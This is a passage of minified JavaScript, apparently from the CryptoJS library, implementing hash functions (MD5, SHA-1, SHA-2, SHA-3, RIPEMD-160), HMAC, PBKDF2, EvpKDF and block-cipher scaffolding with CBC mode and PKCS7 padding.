z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return 